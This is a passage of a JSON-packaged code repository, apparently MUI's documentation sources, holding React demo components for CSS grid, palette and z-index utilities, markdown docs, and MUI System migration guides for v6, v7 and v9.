  },
  {
    "path": "docs/data/system/grid/GridTemplateRows.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function GridTemplateRows() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridTemplateRows: 'repeat(3, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateRows.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function GridTemplateRows() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box sx={{ display: 'grid', gridTemplateRows: 'repeat(3, 1fr)' }}>\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/GridTemplateRows.tsx.preview",
    "content": "<Box sx={{ display: 'grid', gridTemplateRows: 'repeat(3, 1fr)' }}>\n  <Item>1</Item>\n  <Item>2</Item>\n  <Item>3</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/RowAndColumnGap.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function RowAndColumnGap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'grid',\n          columnGap: 3,\n          rowGap: 1,\n          gridTemplateColumns: 'repeat(2, 1fr)',\n        }}\n      >\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/RowAndColumnGap.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 1,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function RowAndColumnGap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'grid',\n          columnGap: 3,\n          rowGap: 1,\n          gridTemplateColumns: 'repeat(2, 1fr)',\n        }}\n      >\n        <Item>1</Item>\n        <Item>2</Item>\n        <Item>3</Item>\n        <Item>4</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/grid/RowAndColumnGap.tsx.preview",
    "content": "<Box\n  sx={{\n    display: 'grid',\n    columnGap: 3,\n    rowGap: 1,\n    gridTemplateColumns: 'repeat(2, 1fr)',\n  }}\n>\n  <Item>1</Item>\n  <Item>2</Item>\n  <Item>3</Item>\n  <Item>4</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/grid/grid.md",
    "content": "# CSS Grid\n\n<p class=\"description\">Quickly manage the layout, alignment, and sizing of grid columns, navigation, components, and more with a full suite of responsive grid utilities.</p>\n\nIf you are **new to or unfamiliar with grid**, you're encouraged to read this [CSS-Tricks grid](https://css-tricks.com/snippets/css/complete-guide-grid/) guide.\n\n## Properties for the parent\n\n### display\n\nTo define a `grid` container, you must specify the `display` CSS property to have one of the values: `grid` or `inline-grid`.\n\n{{\"demo\": \"Display.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ display: 'grid' }}>…</Box>\n<Box sx={{ display: 'inline-grid' }}>…</Box>\n```\n\n### grid-template-rows\n\nThe `grid-template-rows` property defines the line names and track sizing functions of the grid rows.\n\n{{\"demo\": \"GridTemplateRows.js\", \"bg\": true}}\n\n### grid-template-columns\n\nThe `grid-template-columns` property defines the line names and track sizing functions of the grid columns.\n\n{{\"demo\": \"GridTemplateColumns.js\", \"bg\": true}}\n\n### gap\n\nThe `gap: size` property specifies the gap between the different items inside the CSS grid.\n\n{{\"demo\": \"Gap.js\", \"bg\": true}}\n\n### row-gap & column-gap\n\nThe `row-gap` and `column-gap` CSS properties allow for specifying the row and column gaps independently.\n\n{{\"demo\": \"RowAndColumnGap.js\", \"bg\": true}}\n\n### grid-template-areas\n\nThe `grid-template-area` property defines a grid template by referencing the names of the grid areas which are specified with the `grid-area` property.\n\n{{\"demo\": \"GridTemplateAreas.js\", \"bg\": true}}\n\n### grid-auto-columns\n\nThe `grid-auto-column` property specifies the size of an implicitly-created grid column track or pattern of tracks.\n\n{{\"demo\": \"GridAutoColumns.js\", \"bg\": true}}\n\nOn the demo above, the second non-visible column has a width of `1fr`/4 which is approximately equal to `25%`.\n\n### grid-auto-rows\n\nThe `grid-auto-rows` property specifies the size of an implicitly-created grid row track or pattern of tracks.\n\n{{\"demo\": \"GridAutoRows.js\", \"bg\": true}}\n\n### grid-auto-flow\n\nThe `grid-auto-flow` property controls how the auto-placement algorithm works, specifying exactly how auto-placed items get flowed into the grid.\n\n{{\"demo\": \"GridAutoFlow.js\", \"bg\": true}}\n\n## Properties for the children\n\n### grid-column\n\nThe `grid-column` property is a shorthand for `grid-column-start` + `grid-column-end`. You can see how it's used in the [grid-auto-columns example](/system/grid/#grid-auto-columns).\n\nYou can either set the start and end line:\n\n```jsx\n<Box sx={{ gridColumn: '1 / 3' }}>…\n```\n\nOr set the number of columns to span:\n\n```jsx\n<Box sx={{ gridColumn: 'span 2' }}>…\n```\n\n### grid-row\n\nThe `grid-row` property is a shorthand for `grid-row-start` + `grid-row-end`. You can see how it's used in the [grid-auto-rows example](/system/grid/#grid-auto-rows).\n\nYou can either set the start and end line:\n\n```jsx\n<Box sx={{ gridRow: '1 / 3' }}>…\n```\n\nOr set the number of rows to span:\n\n```jsx\n<Box sx={{ gridRow: 'span 2' }}>…\n```\n\n### grid-area\n\nThe `grid-area` property allows you to give an item a name so that it can be referenced by a template created with the `grid-template-areas` property. You can see how it's used in the [grid-template-area example](/system/grid/#grid-template-areas).\n\n```jsx\n<Box sx={{ gridArea: 'header' }}>…\n```\n\n## API\n\n```js\nimport { grid } from '@mui/system';\n```\n\n| Import name           | Prop                  | CSS property            | Theme key |\n| :-------------------- | :-------------------- | :---------------------- | :-------- |\n| `gap`                 | `gap`                 | `gap`                   | none      |\n| `columnGap`           | `columnGap`           | `column-gap`            | none      |\n| `rowGap`              | `rowGap`              | `row-gap`               | none      |\n| `gridColumn`          | `gridColumn`          | `grid-column`           | none      |\n| `gridRow`             | `gridRow`             | `grid-row`              | none      |\n| `gridAutoFlow`        | `gridAutoFlow`        | `grid-auto-flow`        | none      |\n| `gridAutoColumns`     | `gridAutoColumns`     | `grid-auto-columns`     | none      |\n| `gridAutoRows`        | `gridAutoRows`        | `grid-auto-rows`        | none      |\n| `gridTemplateColumns` | `gridTemplateColumns` | `grid-template-columns` | none      |\n| `gridTemplateRows`    | `gridTemplateRows`    | `grid-template-rows`    | none      |\n| `gridTemplateAreas`   | `gridTemplateAreas`   | `grid-template-areas`   | none      |\n| `gridArea`            | `gridArea`            | `grid-area`             | none      |\n"
  },
  {
    "path": "docs/data/system/migration/migrating-to-v6/migrating-to-v6.md",
    "content": "# Upgrade to v6\n\n<p class=\"description\">This guide explains how to upgrade from MUI System v5 to v6.</p>\n\n## Start using the beta release\n\nIn the `package.json` file, change the package version from `latest` to `next`.\n\n```diff title=\"package.json\"\n-\"@mui/system\": \"latest\",\n+\"@mui/system\": \"next\",\n```\n\nUsing `next` ensures your project always uses the latest v6 beta release.\nAlternatively, you can also target and fix it to a specific version, for example, `6.0.0-beta.0`.\n\n## Breaking changes\n\nSince v6 is a new major release, it contains some changes that affect the public API.\nThe steps you need to take to migrate from MUI System v5 to v6 are described below.\n\n:::info\nThis list is a work in progress.\nExpect updates as new breaking changes are introduced.\n:::\n\n### Root code is now ESM\n\nThe ESM code, previously under the `esm/` build, has been moved to the root of the package.\nThe CommonJS code, previously on the root, has been moved to the `node/` build.\n\n:::info\nThis is an intermediate step to prepare for adding the `exports` field to the `package.json` file.\nIf you have trouble using this new structure, please wait for the future update which adds the `exports` field.\nYou can follow progress on https://github.com/mui/material-ui/issues/30671.\n:::\n\n### Grid\n\nThe `Grid` component was updated and stabilized:\n\n- The previous size (`xs`, `sm`, `md`, ...) and offset (`xsOffset`, `smOffset`, `mdOffset`, ...) props, which were named after the theme's breakpoints, were replaced with the `size` and `offset` props.\n- The spacing mechanism was reworked to use the `gap` CSS property.\n\nThis brings some breaking changes described in the following sections.\n\n#### Stabilized API\n\nThe `Grid` component API was stabilized, so its import no longer contains the `Unstable_` prefix:\n\n```diff\n- import { Unstable_Grid as Grid } from '@mui/system';\n+ import { Grid } from '@mui/system';\n```\n\n```diff\n- import Grid from '@mui/system/Unstable_Grid';\n+ import Grid from '@mui/system/Grid';\n```\n\n#### Size and offset props\n\nPreviously, the size and offset props were named corresponding to the theme's breakpoints.\nFor the default theme this was:\n\n- Size: `xs`, `sm`, `md`, `lg`, `xl`\n- Offset: `xsOffset`, `smOffset`, `mdOffset`, `lgOffset`, `xlOffset`\n\nIn v6, these props are renamed to `size` and `offset`:\n\n```diff\n <Grid\n-  xs={12}\n-  sm={6}\n-  xsOffset={2}\n-  smOffset={3}\n+  size={{ xs: 12, sm: 6 }}\n+  offset={{ xs: 2, sm: 3 }}\n  >\n```\n\nNote that if the size or offset is the same for all breakpoints, you can use a single value:\n\n```diff\n-<Grid xs={6} xsOffset={2}>\n+<Grid size={6} offset={2}>\n```\n\nBesides that, the `true` value for the size prop was renamed to `\"grow\"`:\n\n```diff\n-<Grid xs>\n+<Grid size=\"grow\">\n```\n\nUse this codemod to migrate your project to the new size and offset props:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/grid-v2-props <path/to/folder>\n```\n\n:::warning\nYou need to modify the import from `@mui/system/Unstable_Grid` to `@mui/system/Grid` before running the codemod.\n:::\n\nIf you have custom breakpoints, the change is the same:\n\n```diff\n-<Grid mobile={12} mobileOffset={2} desktop={6} desktopOffset={4}>\n+<Grid size={{ mobile: 12, desktop: 6 }} offset={{ mobile: 2, desktop: 4 }}>\n```\n\nWhich you can cover with the same codemod by providing the custom breakpoints as an argument:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/grid-v2-props <path/to/folder> --jscodeshift='--muiBreakpoints=mobile,desktop'\n```\n\n#### Removal of the disableEqualOverflow prop\n\nPreviously, the Grid overflowed its parent.\nIn v6, this is fixed, with the Grid being contained inside its parent's padding:\n\n<img src=\"/static/material-ui/migration-v5/grid-overflow-change.png\" style=\"width: 814px;\" alt=\"Before and after of the Grid no longer overflowing its parent in v6.\" width=\"1628\" height=\"400\" />\n\nThis removes the need for the `disableEqualOverflow` prop:\n\n```diff\n-<Grid disableEqualOverflow>\n+<Grid>\n```\n\n#### Spacing is no longer considered inside the Grid item's box\n\nPreviously, Grid items included spacing in their boxes.\nIn v6, this is fixed:\n\n<img src=\"/static/material-ui/migration-v5/grid-spacing-change.png\" style=\"width: 814px;\" alt=\"Before and after of the Grid items no longer including spacing in their box.\" width=\"1628\" height=\"400\" />\n\n:::warning\nBoth of these changes might slightly affect your layout.\nNote that the items' position doesn't change.\nWe recommend adopting this new behavior and **not trying to replicate the old one**, as this is a more predictable and modern approach.\n:::\n\n### GridProps type\n\nThe `cssGrid` function's `GridProps` type has been renamed to `CssGridProps`.\nThis is to avoid collision with the `GridProps` type corresponding to the `Grid` component props.\n"
  },
  {
    "path": "docs/data/system/migration/upgrade-to-v7/upgrade-to-v7.md",
    "content": "# Upgrade to v7\n\n<p class=\"description\">This guide explains how to upgrade from MUI System v6 to v7.</p>\n\n## Breaking changes\n\nSince v7 is a new major release, it contains some changes that affect the public API.\nThe steps you need to take to migrate from MUI System v6 to v7 are described below.\n\n### Package layout\n\nThe package layout has been updated to use the Node.js exports field. This brings several changes:\n\nDeep imports with more than one level are no longer working, at all (they were already considered private API). For example:\n\n```diff\n-import Box from '@mui/system/Box/Box';\n+import Box from '@mui/system/Box';\n```\n\nThis was never officially supported, but will now be restricted by bundlers and runtimes.\n\nTo use the modern bundle (which excludes legacy browser support for smaller bundle size), you'll need to configure your bundler to use the \"mui-modern\" exports condition:\n\n```js\n// webpack.config.js\n{\n  resolve: {\n    conditionNames: ['mui-modern', '...'],\n  }\n}\n\n// vite.config.js\n{\n  resolve: {\n    conditions: ['mui-modern', 'module', 'browser', 'development|production']\n  }\n}\n```\n"
  },
  {
    "path": "docs/data/system/migration/upgrade-to-v9/upgrade-to-v9.md",
    "content": "# Upgrade to v9\n\n<p class=\"description\">This guide explains how to upgrade from MUI System v7 to v9.</p>\n\n## Start using the alpha release\n\nIn the `package.json` file, change the package version from `latest` to `next`.\n\n```diff title=\"package.json\"\n-\"@mui/system\": \"latest\",\n+\"@mui/system\": \"next\",\n```\n\nUsing `next` ensures your project always uses the latest v9 pre-releases.\nAlternatively, you can also target and fix it to a specific version, for example, `9.0.0-alpha.0`.\n\n## Breaking changes\n\nSince v9 is a new major release, it contains some changes that affect the public API.\nThe steps you need to take to migrate from MUI System v7 to v9 are described below.\n\n:::info\nThis list is a work in progress.\nExpect updates as new breaking changes are introduced.\n:::\n\n### Grid\n\nThe Grid component no longer supports system props.\nUse the `sx` prop instead:\n\n```diff\n-<Grid mt={2} mr={1} />\n+<Grid sx={{ mt: 2, mr: 1 }} />\n```\n"
  },
  {
    "path": "docs/data/system/pages.ts",
    "content": "import type { MuiPage } from '@mui/docs/MuiPage';\nimport pagesApi from 'docs/data/system/pagesApi';\n\nconst pages: readonly MuiPage[] = [\n  {\n    pathname: '/system/getting-started-group',\n    title: 'Getting started',\n    children: [\n      { pathname: '/system/getting-started', title: 'Overview' },\n      { pathname: '/system/getting-started/installation' },\n      { pathname: '/system/getting-started/usage' },\n      { pathname: '/system/getting-started/the-sx-prop' },\n      { pathname: '/system/getting-started/custom-components' },\n      { pathname: '/system/getting-started/support' },\n    ],\n  },\n  {\n    pathname: '/style-utilities',\n    children: [\n      { pathname: '/system/properties' },\n      { pathname: '/system/borders' },\n      { pathname: '/system/display' },\n      { pathname: '/system/flexbox' },\n      { pathname: '/system/grid' },\n      { pathname: '/system/palette' },\n      { pathname: '/system/positions' },\n      { pathname: '/system/shadows' },\n      { pathname: '/system/sizing' },\n      { pathname: '/system/spacing' },\n      { pathname: '/system/screen-readers' },\n      { pathname: '/system/typography' },\n      { pathname: '/system/styled', title: 'styled' },\n    ],\n  },\n  {\n    pathname: '/system/react-',\n    title: 'Components',\n    children: [\n      { pathname: '/system/react-box', title: 'Box' },\n      { pathname: '/system/react-container', title: 'Container' },\n      { pathname: '/system/react-grid', title: 'Grid' },\n      { pathname: '/system/react-stack', title: 'Stack' },\n    ],\n  },\n  {\n    pathname: '/system/migration',\n    title: 'Migration',\n    children: [\n      {\n        pathname: '/system/migration/upgrade-to-v9',\n        title: 'Upgrade to v9',\n      },\n      {\n        pathname: '/system/migration/upgrade-to-v7',\n        title: 'Upgrade to v7',\n      },\n      {\n        pathname: '/system/migration/migrating-to-v6',\n        title: 'Upgrade to v6',\n      },\n    ],\n  },\n  {\n    title: 'APIs',\n    pathname: '/system/api',\n    children: pagesApi,\n  },\n  {\n    pathname: '/system/experimental-api',\n    title: 'Experimental APIs',\n    children: [\n      {\n        pathname: '/system/experimental-api/configure-the-sx-prop',\n        title: 'Configure the sx prop',\n      },\n      {\n        pathname: '/system/experimental-api/css-theme-variables',\n        title: 'CSS Theme Variables',\n      },\n    ],\n  },\n  {\n    pathname: '/system/styles',\n    title: 'Styles',\n    legacy: true,\n    children: [\n      { pathname: 'https://v6.mui.com/system/styles/basics/', title: 'Basics' },\n      { pathname: 'https://v6.mui.com/system/styles/advanced/', title: 'Advanced' },\n      { pathname: 'https://v6.mui.com/system/styles/api/', title: 'APIs' },\n    ],\n  },\n];\n\nexport default pages;\n"
  },
  {
    "path": "docs/data/system/pagesApi.js",
    "content": "export default [\n  { pathname: '/system/api/box' },\n  { pathname: '/system/api/container' },\n  { pathname: '/system/api/grid' },\n  { pathname: '/system/api/stack' },\n];\n"
  },
  {
    "path": "docs/data/system/palette/BackgroundColor.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function BackgroundColor() {\n  return (\n    <Grid container spacing={1}>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'primary.main', color: 'primary.contrastText', p: 2 }}>\n          primary.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box\n          sx={{ bgcolor: 'secondary.main', color: 'secondary.contrastText', p: 2 }}\n        >\n          secondary.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'error.main', color: 'error.contrastText', p: 2 }}>\n          error.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'warning.main', color: 'warning.contrastText', p: 2 }}>\n          warning.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'info.main', color: 'info.contrastText', p: 2 }}>\n          info.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'success.main', color: 'success.contrastText', p: 2 }}>\n          success.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.primary', color: 'background.paper', p: 2 }}>\n          text.primary\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.secondary', color: 'background.paper', p: 2 }}>\n          text.secondary\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.disabled', color: 'background.paper', p: 2 }}>\n          text.disabled\n        </Box>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/palette/BackgroundColor.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function BackgroundColor() {\n  return (\n    <Grid container spacing={1}>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'primary.main', color: 'primary.contrastText', p: 2 }}>\n          primary.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box\n          sx={{ bgcolor: 'secondary.main', color: 'secondary.contrastText', p: 2 }}\n        >\n          secondary.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'error.main', color: 'error.contrastText', p: 2 }}>\n          error.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'warning.main', color: 'warning.contrastText', p: 2 }}>\n          warning.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'info.main', color: 'info.contrastText', p: 2 }}>\n          info.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'success.main', color: 'success.contrastText', p: 2 }}>\n          success.main\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.primary', color: 'background.paper', p: 2 }}>\n          text.primary\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.secondary', color: 'background.paper', p: 2 }}>\n          text.secondary\n        </Box>\n      </Grid>\n      <Grid\n        size={{\n          xs: 12,\n          sm: 4,\n        }}\n      >\n        <Box sx={{ bgcolor: 'text.disabled', color: 'background.paper', p: 2 }}>\n          text.disabled\n        </Box>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/palette/Color.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function Color() {\n  return (\n    <Typography component=\"div\" variant=\"body1\">\n      <Box sx={{ color: 'primary.main' }}>primary.main</Box>\n      <Box sx={{ color: 'secondary.main' }}>secondary.main</Box>\n      <Box sx={{ color: 'error.main' }}>error.main</Box>\n      <Box sx={{ color: 'warning.main' }}>warning.main</Box>\n      <Box sx={{ color: 'info.main' }}>info.main</Box>\n      <Box sx={{ color: 'success.main' }}>success.main</Box>\n      <Box sx={{ color: 'text.primary' }}>text.primary</Box>\n      <Box sx={{ color: 'text.secondary' }}>text.secondary</Box>\n      <Box sx={{ color: 'text.disabled' }}>text.disabled</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/palette/Color.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function Color() {\n  return (\n    <Typography component=\"div\" variant=\"body1\">\n      <Box sx={{ color: 'primary.main' }}>primary.main</Box>\n      <Box sx={{ color: 'secondary.main' }}>secondary.main</Box>\n      <Box sx={{ color: 'error.main' }}>error.main</Box>\n      <Box sx={{ color: 'warning.main' }}>warning.main</Box>\n      <Box sx={{ color: 'info.main' }}>info.main</Box>\n      <Box sx={{ color: 'success.main' }}>success.main</Box>\n      <Box sx={{ color: 'text.primary' }}>text.primary</Box>\n      <Box sx={{ color: 'text.secondary' }}>text.secondary</Box>\n      <Box sx={{ color: 'text.disabled' }}>text.disabled</Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/palette/Color.tsx.preview",
    "content": "<Typography component=\"div\" variant=\"body1\">\n  <Box sx={{ color: 'primary.main' }}>primary.main</Box>\n  <Box sx={{ color: 'secondary.main' }}>secondary.main</Box>\n  <Box sx={{ color: 'error.main' }}>error.main</Box>\n  <Box sx={{ color: 'warning.main' }}>warning.main</Box>\n  <Box sx={{ color: 'info.main' }}>info.main</Box>\n  <Box sx={{ color: 'success.main' }}>success.main</Box>\n  <Box sx={{ color: 'text.primary' }}>text.primary</Box>\n  <Box sx={{ color: 'text.secondary' }}>text.secondary</Box>\n  <Box sx={{ color: 'text.disabled' }}>text.disabled</Box>\n</Typography>"
  },
  {
    "path": "docs/data/system/palette/palette.md",
    "content": "# Palette\n\n<p class=\"description\">Convey meaning through color with a handful of color utility classes. Includes support for styling links with hover states, too.</p>\n\n## Color\n\n{{\"demo\": \"Color.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ color: 'primary.main' }}>…\n<Box sx={{ color: 'secondary.main' }}>…\n<Box sx={{ color: 'error.main' }}>…\n<Box sx={{ color: 'warning.main' }}>…\n<Box sx={{ color: 'info.main' }}>…\n<Box sx={{ color: 'success.main' }}>…\n<Box sx={{ color: 'text.primary' }}>…\n<Box sx={{ color: 'text.secondary' }}>…\n<Box sx={{ color: 'text.disabled' }}>…\n```\n\n## Background color\n\n{{\"demo\": \"BackgroundColor.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ bgcolor: 'primary.main' }}>…\n<Box sx={{ bgcolor: 'secondary.main' }}>…\n<Box sx={{ bgcolor: 'error.main' }}>…\n<Box sx={{ bgcolor: 'warning.main' }}>…\n<Box sx={{ bgcolor: 'info.main' }}>…\n<Box sx={{ bgcolor: 'success.main' }}>…\n<Box sx={{ bgcolor: 'text.primary' }}>…\n<Box sx={{ bgcolor: 'text.secondary' }}>…\n<Box sx={{ bgcolor: 'text.disabled' }}>…\n```\n\n## API\n\n```js\nimport { palette } from '@mui/system';\n```\n\n| Import name | Prop      | CSS property      | Theme key                                                                    |\n| :---------- | :-------- | :---------------- | :--------------------------------------------------------------------------- |\n| `color`     | `color`   | `color`           | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `bgcolor`   | `bgcolor` | `backgroundColor` | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n"
  },
  {
    "path": "docs/data/system/positions/ZIndex.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function ZIndex() {\n  return (\n    <Typography\n      component=\"div\"\n      variant=\"body1\"\n      style={{\n        height: 100,\n        width: '100%',\n        position: 'relative',\n      }}\n    >\n      <Box\n        sx={(theme) => ({\n          bgcolor: 'grey.600',\n          color: 'grey.50',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 2,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          position: 'absolute',\n          top: 40,\n          left: '40%',\n          zIndex: 'tooltip',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        z-index tooltip\n      </Box>\n      <Box\n        sx={(theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 2,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          position: 'absolute',\n          top: 0,\n          left: '43%',\n          zIndex: 'modal',\n          ...theme.applyStyles('dark', {\n            bgcolor: 'grey.800',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        z-index modal\n      </Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/positions/ZIndex.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function ZIndex() {\n  return (\n    <Typography\n      component=\"div\"\n      variant=\"body1\"\n      style={{\n        height: 100,\n        width: '100%',\n        position: 'relative',\n      }}\n    >\n      <Box\n        sx={(theme) => ({\n          bgcolor: 'grey.600',\n          color: 'grey.50',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 2,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          position: 'absolute',\n          top: 40,\n          left: '40%',\n          zIndex: 'tooltip',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        z-index tooltip\n      </Box>\n      <Box\n        sx={(theme) => ({\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          p: 2,\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          position: 'absolute',\n          top: 0,\n          left: '43%',\n          zIndex: 'modal',\n          ...theme.applyStyles('dark', {\n            bgcolor: 'grey.800',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        z-index modal\n      </Box>\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/positions/positions.md",
